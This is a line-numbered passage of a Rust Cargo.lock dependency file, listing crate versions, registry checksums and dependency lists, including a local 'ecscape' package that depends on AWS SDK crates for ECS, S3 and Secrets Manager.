checksum = "339abbe78e73178762e23bea9dfd08e697eb3f3301cd4be981c0f78ba5859195" 533 | dependencies = [ 534 | "outref", 535 | "vsimd", 536 | ] 537 | 538 | [[package]] 539 | name = "base64ct" 540 | version = "1.8.0" 541 | source = "registry+https://github.com/rust-lang/crates.io-index" 542 | checksum = "55248b47b0caf0546f7988906588779981c43bb1bc9d0c44087278f80cdb44ba" 543 | 544 | [[package]] 545 | name = "bindgen" 546 | version = "0.69.5" 547 | source = "registry+https://github.com/rust-lang/crates.io-index" 548 | checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088" 549 | dependencies = [ 550 | "bitflags", 551 | "cexpr", 552 | "clang-sys", 553 | "itertools", 554 | "lazy_static", 555 | "lazycell", 556 | "log", 557 | "prettyplease", 558 | "proc-macro2", 559 | "quote", 560 | "regex", 561 | "rustc-hash 1.1.0", 562 | "shlex", 563 | "syn", 564 | "which", 565 | ] 566 | 567 | [[package]] 568 | name = "bitflags" 569 | version = "2.9.1" 570 | source = "registry+https://github.com/rust-lang/crates.io-index" 571 | checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967" 572 | 573 | [[package]] 574 | name = "block-buffer" 575 | version = "0.10.4" 576 | source = "registry+https://github.com/rust-lang/crates.io-index" 577 | checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" 578 | dependencies = [ 579 | "generic-array", 580 | ] 581 | 582 | [[package]] 583 | name = "bumpalo" 584 | version = "3.19.0" 585 | source = "registry+https://github.com/rust-lang/crates.io-index" 586 | checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43" 587 | 588 | [[package]] 589 | name = "bytes" 590 | version = "1.10.1" 591 | source = "registry+https://github.com/rust-lang/crates.io-index" 592 | checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" 593 | 594 | [[package]] 595 | name = "bytes-utils" 596 | version = "0.1.4" 597 | source = "registry+https://github.com/rust-lang/crates.io-index" 598 | checksum = "7dafe3a8757b027e2be6e4e5601ed563c55989fcf1546e933c66c8eb3a058d35" 599 | dependencies = [ 600 | "bytes", 601 | "either", 602 | ] 603 | 604 | [[package]] 605 | name = "cc" 606 | version = "1.2.30" 607 | source = "registry+https://github.com/rust-lang/crates.io-index" 608 | checksum = "deec109607ca693028562ed836a5f1c4b8bd77755c4e132fc5ce11b0b6211ae7" 609 | dependencies = [ 610 | "jobserver", 611 | "libc", 612 | "shlex", 613 | ] 614 | 615 | [[package]] 616 | name = "cexpr" 617 | version = "0.6.0" 618 | source = "registry+https://github.com/rust-lang/crates.io-index" 619 | checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" 620 | dependencies = [ 621 | "nom", 622 | ] 623 | 624 | [[package]] 625 | name = "cfg-if" 626 | version = "1.0.1" 627 | source = "registry+https://github.com/rust-lang/crates.io-index" 628 | checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268" 629 | 630 | [[package]] 631 | name = "cfg_aliases" 632 | version = "0.2.1" 633 | source = "registry+https://github.com/rust-lang/crates.io-index" 634 | checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" 635 | 636 | [[package]] 637 | name = "chrono" 638 | version = "0.4.41" 639 | source = "registry+https://github.com/rust-lang/crates.io-index" 640 | checksum = "c469d952047f47f91b68d1cba3f10d63c11d73e4636f24f08daf0278abf01c4d" 641 | dependencies = [ 642 | "android-tzdata", 643 | "iana-time-zone", 644 | "js-sys", 645 | "num-traits", 646 | "serde", 647 | "wasm-bindgen", 648 | "windows-link", 649 | ] 650 | 651 | [[package]] 652 | name = "clang-sys" 653 | version = "1.8.1" 654 | source = "registry+https://github.com/rust-lang/crates.io-index" 655 | checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" 656 | dependencies = [ 657 | "glob", 658 | "libc", 659 | "libloading", 660 | ] 661 | 662 | [[package]] 663 | name = "clap" 664 | version = "4.5.41" 665 | source = "registry+https://github.com/rust-lang/crates.io-index" 666 | checksum = "be92d32e80243a54711e5d7ce823c35c41c9d929dc4ab58e1276f625841aadf9" 667 | dependencies = [ 668 | "clap_builder", 669 | "clap_derive", 670 | ] 671 | 672 | [[package]] 673 | name = "clap_builder" 674 | version = "4.5.41" 675 | source = "registry+https://github.com/rust-lang/crates.io-index" 676 | checksum = "707eab41e9622f9139419d573eca0900137718000c517d47da73045f54331c3d" 677 | dependencies = [ 678 | "anstream", 679 | "anstyle", 680 | "clap_lex", 681 | "strsim", 682 | ] 683 | 684 | [[package]] 685 | name = "clap_derive" 686 | version = "4.5.41" 687 | source = "registry+https://github.com/rust-lang/crates.io-index" 688 | checksum = "ef4f52386a59ca4c860f7393bcf8abd8dfd91ecccc0f774635ff68e92eeef491" 689 | dependencies = [ 690 | "heck", 691 | "proc-macro2", 692 | "quote", 693 | "syn", 694 | ] 695 | 696 | [[package]] 697 | name = "clap_lex" 698 | version = "0.7.5" 699 | source = "registry+https://github.com/rust-lang/crates.io-index" 700 | checksum = "b94f61472cee1439c0b966b47e3aca9ae07e45d070759512cd390ea2bebc6675" 701 | 702 | [[package]] 703 | name = "cmake" 704 | version = "0.1.54" 705 | source = "registry+https://github.com/rust-lang/crates.io-index" 706 | checksum = "e7caa3f9de89ddbe2c607f4101924c5abec803763ae9534e4f4d7d8f84aa81f0" 707 | dependencies = [ 708 | "cc", 709 | ] 710 | 711 | [[package]] 712 | name = "colorchoice" 713 | version = "1.0.4" 714 | source = "registry+https://github.com/rust-lang/crates.io-index" 715 | checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75" 716 | 717 | [[package]] 718 | name = "const-oid" 719 | version = "0.9.6" 720 | source = "registry+https://github.com/rust-lang/crates.io-index" 721 | checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" 722 | 723 | [[package]] 724 | name = "core-foundation" 725 | version = "0.9.4" 726 | source = "registry+https://github.com/rust-lang/crates.io-index" 727 | checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" 728 | dependencies = [ 729 | "core-foundation-sys", 730 | "libc", 731 | ] 732 | 733 | [[package]] 734 | name = "core-foundation" 735 | version = "0.10.1" 736 | source = "registry+https://github.com/rust-lang/crates.io-index" 737 | checksum = "b2a6cd9ae233e7f62ba4e9353e81a88df7fc8a5987b8d445b4d90c879bd156f6" 738 | dependencies = [ 739 | "core-foundation-sys", 740 | "libc", 741 | ] 742 | 743 | [[package]] 744 | name = "core-foundation-sys" 745 | version = "0.8.7" 746 | source = "registry+https://github.com/rust-lang/crates.io-index" 747 | checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" 748 | 749 | [[package]] 750 | name = "cpufeatures" 751 | version = "0.2.17" 752 | source = "registry+https://github.com/rust-lang/crates.io-index" 753 | checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" 754 | dependencies = [ 755 | "libc", 756 | ] 757 | 758 | [[package]] 759 | name = "crc" 760 | version = "3.3.0" 761 | source = "registry+https://github.com/rust-lang/crates.io-index" 762 | checksum = "9710d3b3739c2e349eb44fe848ad0b7c8cb1e42bd87ee49371df2f7acaf3e675" 763 | dependencies = [ 764 | "crc-catalog", 765 | ] 766 | 767 | [[package]] 768 | name = "crc-catalog" 769 | version = "2.4.0" 770 | source = "registry+https://github.com/rust-lang/crates.io-index" 771 | checksum = "19d374276b40fb8bbdee95aef7c7fa6b5316ec764510eb64b8dd0e2ed0d7e7f5" 772 | 773 | [[package]] 774 | name = "crc-fast" 775 | version = "1.3.0" 776 | source = "registry+https://github.com/rust-lang/crates.io-index" 777 | checksum = "6bf62af4cc77d8fe1c22dde4e721d87f2f54056139d8c412e1366b740305f56f" 778 | dependencies = [ 779 | "crc", 780 | "digest", 781 | "libc", 782 | "rand", 783 | "regex", 784 | ] 785 | 786 | [[package]] 787 | name = "crc32fast" 788 | version = "1.5.0" 789 | source = "registry+https://github.com/rust-lang/crates.io-index" 790 | checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511" 791 | dependencies = [ 792 | "cfg-if", 793 | ] 794 | 795 | [[package]] 796 | name = "crypto-bigint" 797 | version = "0.4.9" 798 | source = "registry+https://github.com/rust-lang/crates.io-index" 799 | checksum = "ef2b4b23cddf68b89b8f8069890e8c270d54e2d5fe1b143820234805e4cb17ef" 800 | dependencies = [ 801 | "generic-array", 802 | "rand_core 0.6.4", 803 | "subtle", 804 | "zeroize", 805 | ] 806 | 807 | [[package]] 808 | name = "crypto-bigint" 809 | version = "0.5.5" 810 | source = "registry+https://github.com/rust-lang/crates.io-index" 811 | checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76" 812 | dependencies = [ 813 | "rand_core 0.6.4", 814 | "subtle", 815 | ] 816 | 817 | [[package]] 818 | name = "crypto-common" 819 | version = "0.1.6" 820 | source = "registry+https://github.com/rust-lang/crates.io-index" 821 | checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" 822 | dependencies = [ 823 | "generic-array", 824 | "typenum", 825 | ] 826 | 827 | [[package]] 828 | name = "data-encoding" 829 | version = "2.9.0" 830 | source = "registry+https://github.com/rust-lang/crates.io-index" 831 | checksum = "2a2330da5de22e8a3cb63252ce2abb30116bf5265e89c0e01bc17015ce30a476" 832 | 833 | [[package]] 834 | name = "der" 835 | version = "0.6.1" 836 | source = "registry+https://github.com/rust-lang/crates.io-index" 837 | checksum = "f1a467a65c5e759bce6e65eaf91cc29f466cdc57cb65777bd646872a8a1fd4de" 838 | dependencies = [ 839 | "const-oid", 840 | "zeroize", 841 | ] 842 | 843 | [[package]] 844 | name = "deranged" 845 | version = "0.4.0" 846 | source = "registry+https://github.com/rust-lang/crates.io-index" 847 | checksum = "9c9e6a11ca8224451684bc0d7d5a7adbf8f2fd6887261a1cfc3c0432f9d4068e" 848 | dependencies = [ 849 | "powerfmt", 850 | ] 851 | 852 | [[package]] 853 | name = "digest" 854 | version = "0.10.7" 855 | source = "registry+https://github.com/rust-lang/crates.io-index" 856 | checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" 857 | dependencies = [ 858 | "block-buffer", 859 | "crypto-common", 860 | "subtle", 861 | ] 862 | 863 | [[package]] 864 | name = "displaydoc" 865 | version = "0.2.5" 866 | source = "registry+https://github.com/rust-lang/crates.io-index" 867 | checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" 868 | dependencies = [ 869 | "proc-macro2", 870 | "quote", 871 | "syn", 872 | ] 873 | 874 | [[package]] 875 | name = "dunce" 876 | version = "1.0.5" 877 | source = "registry+https://github.com/rust-lang/crates.io-index" 878 | checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" 879 | 880 | [[package]] 881 | name = "ecdsa" 882 | version = "0.14.8" 883 | source = "registry+https://github.com/rust-lang/crates.io-index" 884 | checksum = "413301934810f597c1d19ca71c8710e99a3f1ba28a0d2ebc01551a2daeea3c5c" 885 | dependencies = [ 886 | "der", 887 | "elliptic-curve", 888 | "rfc6979", 889 | "signature", 890 | ] 891 | 892 | [[package]] 893 | name = "ecscape" 894 | version = "0.1.0" 895 | dependencies = [ 896 | "anyhow", 897 | "async-trait", 898 | "aws-credential-types", 899 | "aws-sdk-ecs", 900 | "aws-sdk-s3", 901 | "aws-sdk-secretsmanager", 902 | "aws-sigv4", 903 | "aws-types", 904 | "chrono", 905 | "clap", 906 | "futures-util", 907 | "mimalloc", 908 | "num_cpus", 909 | "regex", 910 | "reqwest", 911 | "rustls 0.23.30", 912 | "serde", 913 | "serde_json", 914 | "sysinfo", 915 | "tokio", 916 | "tokio-retry2", 917 | "tokio-tungstenite", 918 | "tracing", 919 | "tracing-subscriber", 920 | "url", 921 | "uuid", 922 | ] 923 | 924 | [[package]] 925 | name = "either" 926 | version = "1.15.0" 927 | source = "registry+https://github.com/rust-lang/crates.io-index" 928 | checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" 929 | 930 | [[package]] 931 | name = "elliptic-curve" 932 | version = "0.12.3" 933 | source = "registry+https://github.com/rust-lang/crates.io-index" 934 | checksum = "e7bb888ab5300a19b8e5bceef25ac745ad065f3c9f7efc6de1b91958110891d3" 935 | dependencies = [ 936 | "base16ct", 937 | "crypto-bigint 0.4.9", 938 | "der", 939 | "digest", 940 | "ff", 941 | "generic-array", 942 | "group", 943 | "pkcs8", 944 | "rand_core 0.6.4", 945 | "sec1", 946 | "subtle", 947 | "zeroize", 948 | ] 949 | 950 | [[package]] 951 | name = "equivalent" 952 | version = "1.0.2" 953 | source = "registry+https://github.com/rust-lang/crates.io-index" 954 | checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" 955 | 956 | [[package]] 957 | name = "errno" 958 | version = "0.3.13" 959 | source = "registry+https://github.com/rust-lang/crates.io-index" 960 | checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad" 961 | dependencies = [ 962 | "libc", 963 | "windows-sys 0.60.2", 964 | ] 965 | 966 | [[package]] 967 | name = "fastrand" 968 | version = "2.3.0" 969 | source = "registry+https://github.com/rust-lang/crates.io-index" 970 | checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" 971 | 972 | [[package]] 973 | name = "ff" 974 | version = "0.12.1" 975 | source = "registry+https://github.com/rust-lang/crates.io-index" 976 | checksum = "d013fc25338cc558c5c2cfbad646908fb23591e2404481826742b651c9af7160" 977 | dependencies = [ 978 | "rand_core 0.6.4", 979 | "subtle", 980 | ] 981 | 982 | [[package]] 983 | name = "fnv" 984 | version = "1.0.7" 985 | source = "registry+https://github.com/rust-lang/crates.io-index" 986 | checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" 987 | 988 | [[package]] 989 | name = "foldhash" 990 | version = "0.1.5" 991 | source = "registry+https://github.com/rust-lang/crates.io-index" 992 | checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" 993 | 994 | [[package]] 995 | name = "form_urlencoded" 996 | version = "1.2.1" 997 | source = "registry+https://github.com/rust-lang/crates.io-index" 998 | checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" 999 | dependencies = [ 1000 | "percent-encoding", 1001 | ] 1002 | 1003 | [[package]] 1004 | name = "fs_extra" 1005 | version = "1.3.0" 1006 | source = "registry+https://github.com/rust-lang/crates.io-index" 1007 | checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c" 1008 | 1009 | [[package]] 1010 | name = "futures-channel" 1011 | version = "0.3.31" 1012 | source = "registry+https://github.com/rust-lang/crates.io-index" 1013 | checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" 1014 | dependencies = [ 1015 | "futures-core", 1016 | ] 1017 | 1018 | [[package]] 1019 | name = "futures-core" 1020 | version = "0.3.31" 1021 | source = "registry+https://github.com/rust-lang/crates.io-index" 1022 | checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" 1023 | 1024 | [[package]] 1025 | name = "futures-macro" 1026 | version = "0.3.31" 1027 | source = "registry+https://github.com/rust-lang/crates.io-index" 1028 | checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" 1029 | dependencies = [ 1030 | "proc-macro2", 1031 | "quote", 1032 | "syn", 1033 | ] 1034 | 1035 | [[package]] 1036 | name = "futures-sink" 1037 | version = "0.3.31" 1038 | source = "registry+https://github.com/rust-lang/crates.io-index" 1039 | checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" 1040 | 1041 | [[package]] 1042 | name = "futures-task" 1043 | version = "0.3.31" 1044 | source = "registry+https://github.com/rust-lang/crates.io-index" 1045 | checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" 1046 | 1047 | [[package]] 1048 | name = "futures-util" 1049 | version = "0.3.31" 1050 | source = "registry+https://github.com/rust-lang/crates.io-index" 1051 | checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" 1052 | dependencies = [ 1053 | "futures-core", 1054 | "futures-macro", 1055 | "futures-sink", 1056 | "futures-task", 1057 | "pin-project-lite", 1058 | "pin-utils", 1059 | "slab", 1060 | ] 1061 | 1062 | [[package]] 1063 | name = "generic-array" 1064 | version = "0.14.7" 1065 | source = "registry+https://github.com/rust-lang/crates.io-index" 1066 | checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" 1067 | dependencies = [ 1068 | "typenum", 1069 | "version_check", 1070 | ] 1071 | 1072 | [[package]] 1073 | name = "getrandom" 1074 | version = "0.2.16" 1075 | source = "registry+https://github.com/rust-lang/crates.io-index" 1076 | checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" 1077 | dependencies = [ 1078 | "cfg-if", 1079 | "js-sys", 1080 | "libc", 1081 | "wasi 0.11.1+wasi-snapshot-preview1", 1082 | "wasm-bindgen", 1083 | ] 1084 | 1085 | [[package]] 1086 | name = "getrandom" 1087 | version = "0.3.3" 1088 | source = "registry+https://github.com/rust-lang/crates.io-index" 1089 | checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4" 1090 | dependencies = [ 1091 | "cfg-if", 1092 | "js-sys", 1093 | "libc", 1094 | "r-efi", 1095 | "wasi 0.14.2+wasi-0.2.4", 1096 | "wasm-bindgen", 1097 | ] 1098 | 1099 | [[package]] 1100 | name = "gimli" 1101 | version = "0.31.1" 1102 | source = "registry+https://github.com/rust-lang/crates.io-index" 1103 | checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f" 1104 | 1105 | [[package]] 1106 | name = "glob" 1107 | version = "0.3.2" 1108 | source = "registry+https://github.com/rust-lang/crates.io-index" 1109 | checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2" 1110 | 1111 | [[package]] 1112 | name = "group" 1113 | version = "0.12.1" 1114 | source = "registry+https://github.com/rust-lang/crates.io-index" 1115 | checksum = "5dfbfb3a6cfbd390d5c9564ab283a0349b9b9fcd46a706c1eb10e0db70bfbac7" 1116 | dependencies = [ 1117 | "ff", 1118 | "rand_core 0.6.4", 1119 | "subtle", 1120 | ] 1121 | 1122 | [[package]] 1123 | name = "h2" 1124 | version = "0.3.27" 1125 | source = "registry+https://github.com/rust-lang/crates.io-index" 1126 | checksum = "0beca50380b1fc32983fc1cb4587bfa4bb9e78fc259aad4a0032d2080309222d" 1127 | dependencies = [ 1128 | "bytes", 1129 | "fnv", 1130 | "futures-core", 1131 | "futures-sink", 1132 | "futures-util", 1133 | "http 0.2.12", 1134 | "indexmap", 1135 | "slab", 1136 | "tokio", 1137 | "tokio-util", 1138 | "tracing", 1139 | ] 1140 | 1141 | [[package]] 1142 | name = "h2" 1143 | version = "0.4.11" 1144 | source = "registry+https://github.com/rust-lang/crates.io-index" 1145 | checksum = "17da50a276f1e01e0ba6c029e47b7100754904ee8a278f886546e98575380785" 1146 | dependencies = [ 1147 | "atomic-waker", 1148 | "bytes", 1149 | "fnv", 1150 | "futures-core", 1151 | "futures-sink", 1152 | "http 1.3.1", 1153 | "indexmap", 1154 | "slab", 1155 | "tokio", 1156 | "tokio-util", 1157 | "tracing", 1158 | ] 1159 | 1160 | [[package]] 1161 | name = "hashbrown" 1162 | version = "0.15.4" 1163 | source = "registry+https://github.com/rust-lang/crates.io-index" 1164 | checksum = "5971ac85611da7067dbfcabef3c70ebb5606018acd9e2a3903a0da507521e0d5" 1165 | dependencies = [ 1166 | "allocator-api2", 1167 | "equivalent", 1168 | "foldhash", 1169 | ] 1170 | 1171 | [[package]] 1172 | name = "heck" 1173 | version = "0.5.0" 1174 | source = "registry+https://github.com/rust-lang/crates.io-index" 1175 | checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" 1176 | 1177 | [[package]] 1178 | name = "hermit-abi" 1179 | version = "0.5.2" 1180 | source = "registry+https://github.com/rust-lang/crates.io-index" 1181 | checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c" 1182 | 1183 | [[package]] 1184 | name = "hex" 1185 | version = "0.4.3" 1186 | source = "registry+https://github.com/rust-lang/crates.io-index" 1187 | checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" 1188 | 1189 | [[package]] 1190 | name = "hmac" 1191 | version = "0.12.1" 1192 | source = "registry+https://github.com/rust-lang/crates.io-index" 1193 | checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" 1194 | dependencies = [ 1195 | "digest", 1196 | ] 1197 | 1198 | [[package]] 1199 | name = "home" 1200 | version = "0.5.11" 1201 | source = "registry+https://github.com/rust-lang/crates.io-index" 1202 | checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf" 1203 | dependencies = [ 1204 | "windows-sys 0.59.0", 1205 | ] 1206 | 1207 | [[package]] 1208 | name = "http" 1209 | version = "0.2.12" 1210 | source = "registry+https://github.com/rust-lang/crates.io-index" 1211 | checksum = "601cbb57e577e2f5ef5be8e7b83f0f63994f25aa94d673e54a92d5c516d101f1" 1212 | dependencies = [ 1213 | "bytes", 1214 | "fnv", 1215 | "itoa", 1216 | ] 1217 | 1218 | [[package]] 1219 | name = "http" 1220 | version = "1.3.1" 1221 | source = "registry+https://github.com/rust-lang/crates.io-index" 1222 | checksum = "f4a85d31aea989eead29a3aaf9e1115a180df8282431156e533de47660892565" 1223 | dependencies = [ 1224 | "bytes", 1225 | "fnv", 1226 | "itoa", 1227 | ] 1228 | 1229 | [[package]] 1230 | name = "http-body" 1231 | version = "0.4.6" 1232 | source = "registry+https://github.com/rust-lang/crates.io-index" 1233 | checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" 1234 | dependencies = [ 1235 | "bytes", 1236 | "http 0.2.12", 1237 | "pin-project-lite", 1238 | ] 1239 | 1240 | [[package]] 1241 | name = "http-body" 1242 | version = "1.0.1" 1243 | source = "registry+https://github.com/rust-lang/crates.io-index" 1244 | checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" 1245 | dependencies = [ 1246 | "bytes", 1247 | "http 1.3.1", 1248 | ] 1249 | 1250 | [[package]] 1251 | name = "http-body-util" 1252 | version = "0.1.3" 1253 | source = "registry+https://github.com/rust-lang/crates.io-index" 1254 | checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" 1255 | dependencies = [ 1256 | "bytes", 1257 | "futures-core", 1258 | "http 1.3.1", 1259 | "http-body 1.0.1", 1260 | "pin-project-lite", 1261 | ] 1262 | 1263 | [[package]] 1264 | name = "httparse" 1265 | version = "1.10.1" 1266 | source = "registry+https://github.com/rust-lang/crates.io-index" 1267 | checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" 1268 | 1269 | [[package]] 1270 | name = "httpdate" 1271 | version = "1.0.3" 1272 | source = "registry+https://github.com/rust-lang/crates.io-index" 1273 | checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" 1274 | 1275 | [[package]] 1276 | name = "hyper" 1277 | version = "0.14.32" 1278 | source = "registry+https://github.com/rust-lang/crates.io-index" 1279 | checksum = "41dfc780fdec9373c01bae43289ea34c972e40ee3c9f6b3c8801a35f35586ce7" 1280 | dependencies = [ 1281 | "bytes", 1282 | "futures-channel", 1283 | "futures-core", 1284 | "futures-util", 1285 | "h2 0.3.27", 1286 | "http 0.2.12", 1287 | "http-body 0.4.6", 1288 | "httparse", 1289 | "httpdate", 1290 | "itoa", 1291 | "pin-project-lite", 1292 | "socket2 0.5.10", 1293 | "tokio", 1294 | "tower-service", 1295 | "tracing", 1296 | "want", 1297 | ] 1298 | 1299 | [[package]] 1300 | name = "hyper" 1301 | version = "1.6.0" 1302 | source = "registry+https://github.com/rust-lang/crates.io-index" 1303 | checksum = "cc2b571658e38e0c01b1fdca3bbbe93c00d3d71693ff2770043f8c29bc7d6f80" 1304 | dependencies = [ 1305 | "bytes", 1306 | "futures-channel", 1307 | "futures-util", 1308 | "h2 0.4.11", 1309 | "http 1.3.1", 1310 | "http-body 1.0.1", 1311 | "httparse", 1312 | "itoa", 1313 | "pin-project-lite", 1314 | "smallvec", 1315 | "tokio", 1316 | "want", 1317 | ] 1318 | 1319 | [[package]] 1320 | name = "hyper-rustls" 1321 | version = "0.24.2" 1322 | source = "registry+https://github.com/rust-lang/crates.io-index" 1323 | checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" 1324 | dependencies = [ 1325 | "futures-util", 1326 | "http 0.2.12", 1327 | "hyper 0.14.32", 1328 | "log", 1329 | "rustls 0.21.12", 1330 | "rustls-native-certs 0.6.3", 1331 | "tokio", 1332 | "tokio-rustls 0.24.1", 1333 | ] 1334 | 1335 | [[package]] 1336 | name = "hyper-rustls" 1337 | version = "0.27.7" 1338 | source = "registry+https://github.com/rust-lang/crates.io-index" 1339 | checksum = "e3c93eb611681b207e1fe55d5a71ecf91572ec8a6705cdb6857f7d8d5242cf58" 1340 | dependencies = [ 1341 | "http 1.3.1", 1342 | "hyper 1.6.0", 1343 | "hyper-util", 1344 | "rustls 0.23.30", 1345 | "rustls-native-certs 0.8.1", 1346 | "rustls-pki-types", 1347 | "tokio", 1348 | "tokio-rustls 0.26.2", 1349 | "tower-service", 1350 | "webpki-roots", 1351 | ] 1352 | 1353 | [[package]] 1354 | name = "hyper-util" 1355 | version = "0.1.16" 1356 | source = "registry+https://github.com/rust-lang/crates.io-index" 1357 | checksum = "8d9b05277c7e8da2c93a568989bb6207bef0112e8d17df7a6eda4a3cf143bc5e" 1358 | dependencies = [ 1359 | "base64 0.22.1", 1360 | "bytes", 1361 | "futures-channel", 1362 | "futures-core", 1363 | "futures-util", 1364 | "http 1.3.1", 1365 | "http-body 1.0.1", 1366 | "hyper 1.6.0", 1367 | "ipnet", 1368 | "libc", 1369 | "percent-encoding", 1370 | "pin-project-lite", 1371 | "socket2 0.6.0", 1372 | "tokio", 1373 | "tower-service", 1374 | "tracing", 1375 | ] 1376 | 1377 | [[package]] 1378 | name = "iana-time-zone" 1379 | version = "0.1.63" 1380 | source = "registry+https://github.com/rust-lang/crates.io-index" 1381 | checksum = "b0c919e5debc312ad217002b8048a17b7d83f80703865bbfcfebb0458b0b27d8" 1382 | dependencies = [ 1383 | "android_system_properties", 1384 | "core-foundation-sys", 1385 | "iana-time-zone-haiku", 1386 | "js-sys", 1387 | "log", 1388 | "wasm-bindgen", 1389 | "windows-core", 1390 | ] 1391 | 1392 | [[package]] 1393 | name = "iana-time-zone-haiku" 1394 | version = "0.1.2" 1395 | source = "registry+https://github.com/rust-lang/crates.io-index" 1396 | checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" 1397 | dependencies = [ 1398 | "cc", 1399 | ] 1400 | 1401 | [[package]] 1402 | name = "icu_collections" 1403 | version = "2.0.0" 1404 | source = "registry+https://github.com/rust-lang/crates.io-index" 1405 | checksum = "200072f5d0e3614556f94a9930d5dc3e0662a652823904c3a75dc3b0af7fee47" 1406 | dependencies = [ 1407 | "displaydoc", 1408 | "potential_utf", 1409 | "yoke", 1410 | "zerofrom", 1411 | "zerovec", 1412 | ] 1413 | 1414 | [[package]] 1415 | name = "icu_locale_core" 1416 | version = "2.0.0" 1417 | source = "registry+https://github.com/rust-lang/crates.io-index" 1418 | checksum = "0cde2700ccaed3872079a65fb1a78f6c0a36c91570f28755dda67bc8f7d9f00a" 1419 | dependencies = [ 1420 | "displaydoc", 1421 | "litemap", 1422 | "tinystr", 1423 | "writeable", 1424 | "zerovec", 1425 | ] 1426 | 1427 | [[package]] 1428 | name = "icu_normalizer" 1429 | version = "2.0.0" 1430 | source = "registry+https://github.com/rust-lang/crates.io-index" 1431 | checksum = "436880e8e18df4d7bbc06d58432329d6458cc84531f7ac5f024e93deadb37979" 1432 | dependencies = [ 1433 | "displaydoc", 1434 | "icu_collections", 1435 | "icu_normalizer_data", 1436 | "icu_properties", 1437 | "icu_provider", 1438 | "smallvec", 1439 | "zerovec", 1440 | ] 1441 | 1442 | [[package]] 1443 | name = "icu_normalizer_data" 1444 | version = "2.0.0" 1445 | source = "registry+https://github.com/rust-lang/crates.io-index" 1446 | checksum = "00210d6893afc98edb752b664b8890f0ef174c8adbb8d0be9710fa66fbbf72d3" 1447 | 1448 | [[package]] 1449 | name = "icu_properties" 1450 | version = "2.0.1" 1451 | source = "registry+https://github.com/rust-lang/crates.io-index" 1452 | checksum = "016c619c1eeb94efb86809b015c58f479963de65bdb6253345c1a1276f22e32b" 1453 | dependencies = [ 1454 | "displaydoc", 1455 | "icu_collections", 1456 | "icu_locale_core", 1457 | "icu_properties_data", 1458 | "icu_provider", 1459 | "potential_utf", 1460 | "zerotrie", 1461 | "zerovec", 1462 | ] 